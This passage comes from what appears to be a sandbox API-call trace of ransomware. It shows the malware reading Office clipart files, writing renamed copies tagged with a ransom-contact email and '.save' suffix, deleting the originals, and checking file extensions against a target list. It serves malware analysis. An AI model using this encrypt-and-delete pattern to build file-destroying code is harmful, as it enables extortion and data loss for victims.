lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0065.632] SetEndOfFile (hFile=0x2ec) returned 1 [0065.632] CloseHandle (hObject=0x2ec) returned 1 [0065.634] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.634] SetEndOfFile (hFile=0x2f4) returned 1 [0065.635] CloseHandle (hObject=0x2f4) returned 1 [0065.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0065.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0065.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0065.636] lstrlenW (lpString=".doc") returned 4 [0065.636] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0065.636] lstrlenW (lpString=".docx") returned 5 [0065.636] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0065.636] lstrlenW (lpString=".pdf") returned 4 [0065.636] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0065.636] lstrlenW (lpString=".xls") returned 4 [0065.636] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0065.636] lstrlenW (lpString=".xlsx") returned 5 [0065.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0065.636] lstrlenW (lpString=".ppt") returned 4 [0065.636] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0065.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0065.636] lstrlenW (lpString=".zip") returned 4 [0065.636] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0065.636] lstrlenW (lpString=".rar") returned 4 [0065.636] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0065.636] lstrlenW (lpString=".bz2") returned 4 [0065.636] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0065.636] lstrlenW (lpString=".7z") returned 3 [0065.636] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0065.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0065.636] lstrlenW (lpString=".dbf") returned 4 [0065.637] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0065.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0065.637] lstrlenW (lpString=".1cd") returned 4 [0065.637] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0065.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0065.637] lstrlenW (lpString=".jpg") returned 4 [0065.637] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0065.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0065.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0065.637] lstrlenW (lpString=".doc") returned 4 [0065.637] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0065.637] lstrlenW (lpString=".docx") returned 5 [0065.637] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0065.637] lstrlenW (lpString=".pdf") returned 4 [0065.637] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0065.637] lstrlenW (lpString=".xls") returned 4 [0065.637] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0065.637] lstrlenW (lpString=".xlsx") returned 5 [0065.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0065.637] lstrlenW (lpString=".ppt") returned 4 [0065.637] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0065.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0065.637] lstrlenW (lpString=".zip") returned 4 [0065.637] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0065.637] lstrlenW (lpString=".rar") returned 4 [0065.637] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0065.637] lstrlenW (lpString=".bz2") returned 4 [0065.637] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0065.638] lstrlenW (lpString=".7z") returned 3 [0065.638] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0065.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0065.638] lstrlenW (lpString=".dbf") returned 4 [0065.638] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0065.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0065.638] lstrlenW (lpString=".1cd") returned 4 [0065.638] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0065.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0065.638] lstrlenW (lpString=".jpg") returned 4 [0065.638] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0065.638] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0065.638] lstrlenW (lpString="BD19582_.GIF") returned 12 [0065.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0065.639] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=15733) returned 1 [0065.639] CloseHandle (hObject=0x2f4) returned 1 [0065.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220 [0065.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0065.639] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.639] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0065.640] GetLastError () returned 0x0 [0065.640] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x3d75, lpOverlapped=0x0) returned 1 [0065.922] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x3d80, lpOverlapped=0x0) returned 1 [0065.924] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.924] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0065.924] SetEndOfFile (hFile=0x2ec) returned 1 [0066.354] CloseHandle (hObject=0x2ec) returned 1 [0066.400] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.421] SetEndOfFile (hFile=0x2f4) returned 1 [0066.422] CloseHandle (hObject=0x2f4) returned 1 [0066.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0066.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0066.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0066.423] lstrlenW (lpString=".doc") returned 4 [0066.423] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.423] lstrlenW (lpString=".docx") returned 5 [0066.423] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.423] lstrlenW (lpString=".pdf") returned 4 [0066.423] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.423] lstrlenW (lpString=".xls") returned 4 [0066.423] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.423] lstrlenW (lpString=".xlsx") returned 5 [0066.423] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.423] lstrlenW (lpString=".ppt") returned 4 [0066.423] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0066.423] lstrlenW (lpString=".zip") returned 4 [0066.423] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.423] lstrlenW (lpString=".rar") returned 4 [0066.423] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.423] lstrlenW (lpString=".bz2") returned 4 [0066.424] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.424] lstrlenW (lpString=".7z") returned 3 [0066.424] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0066.424] lstrlenW (lpString=".dbf") returned 4 [0066.424] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0066.424] lstrlenW (lpString=".1cd") returned 4 [0066.424] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0066.424] lstrlenW (lpString=".jpg") returned 4 [0066.424] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0066.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0066.424] lstrlenW (lpString=".doc") returned 4 [0066.424] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.424] lstrlenW (lpString=".docx") returned 5 [0066.424] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.424] lstrlenW (lpString=".pdf") returned 4 [0066.424] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.424] lstrlenW (lpString=".xls") returned 4 [0066.424] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.424] lstrlenW (lpString=".xlsx") returned 5 [0066.424] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.424] lstrlenW (lpString=".ppt") returned 4 [0066.424] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0066.424] lstrlenW (lpString=".zip") returned 4 [0066.424] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.424] lstrlenW (lpString=".rar") returned 4 [0066.424] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.424] lstrlenW (lpString=".bz2") returned 4 [0066.424] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.424] lstrlenW (lpString=".7z") returned 3 [0066.425] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0066.425] lstrlenW (lpString=".dbf") returned 4 [0066.425] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0066.425] lstrlenW (lpString=".1cd") returned 4 [0066.425] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0066.425] lstrlenW (lpString=".jpg") returned 4 [0066.425] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.425] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0066.425] lstrlenW (lpString="BL00194_.WMF") returned 12 [0066.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0066.425] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=3986) returned 1 [0066.426] CloseHandle (hObject=0x2f4) returned 1 [0066.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x220 [0066.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0066.426] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.426] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0066.426] GetLastError () returned 0x0 [0066.426] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xf92, lpOverlapped=0x0) returned 1 [0066.428] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0066.429] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.429] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0066.429] SetEndOfFile (hFile=0x2ec) returned 1 [0066.429] CloseHandle (hObject=0x2ec) returned 1 [0066.430] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.430] SetEndOfFile (hFile=0x2f4) returned 1 [0066.431] CloseHandle (hObject=0x2f4) returned 1 [0066.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0066.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0066.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0066.432] lstrlenW (lpString=".doc") returned 4 [0066.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.432] lstrlenW (lpString=".docx") returned 5 [0066.432] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.432] lstrlenW (lpString=".pdf") returned 4 [0066.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.432] lstrlenW (lpString=".xls") returned 4 [0066.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.432] lstrlenW (lpString=".xlsx") returned 5 [0066.432] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.432] lstrlenW (lpString=".ppt") returned 4 [0066.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0066.432] lstrlenW (lpString=".zip") returned 4 [0066.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.432] lstrlenW (lpString=".rar") returned 4 [0066.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.432] lstrlenW (lpString=".bz2") returned 4 [0066.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.432] lstrlenW (lpString=".7z") returned 3 [0066.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0066.432] lstrlenW (lpString=".dbf") returned 4 [0066.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0066.432] lstrlenW (lpString=".1cd") returned 4 [0066.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0066.432] lstrlenW (lpString=".jpg") returned 4 [0066.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0066.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0066.432] lstrlenW (lpString=".doc") returned 4 [0066.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.433] lstrlenW (lpString=".docx") returned 5 [0066.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.433] lstrlenW (lpString=".pdf") returned 4 [0066.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.433] lstrlenW (lpString=".xls") returned 4 [0066.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.433] lstrlenW (lpString=".xlsx") returned 5 [0066.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.433] lstrlenW (lpString=".ppt") returned 4 [0066.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0066.433] lstrlenW (lpString=".zip") returned 4 [0066.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.433] lstrlenW (lpString=".rar") returned 4 [0066.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.433] lstrlenW (lpString=".bz2") returned 4 [0066.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.433] lstrlenW (lpString=".7z") returned 3 [0066.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0066.433] lstrlenW (lpString=".dbf") returned 4 [0066.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0066.433] lstrlenW (lpString=".1cd") returned 4 [0066.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0066.433] lstrlenW (lpString=".jpg") returned 4 [0066.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.433] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0066.434] lstrlenW (lpString="BL00195_.WMF") returned 12 [0066.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0066.434] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=8070) returned 1 [0066.434] CloseHandle (hObject=0x2f4) returned 1 [0066.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x220 [0066.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0066.435] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.435] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0066.435] GetLastError () returned 0x0 [0066.435] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x1f86, lpOverlapped=0x0) returned 1 [0066.437] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x1f90, lpOverlapped=0x0) returned 1 [0066.438] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.438] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0066.438] SetEndOfFile (hFile=0x2ec) returned 1 [0066.438] CloseHandle (hObject=0x2ec) returned 1 [0066.439] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.439] 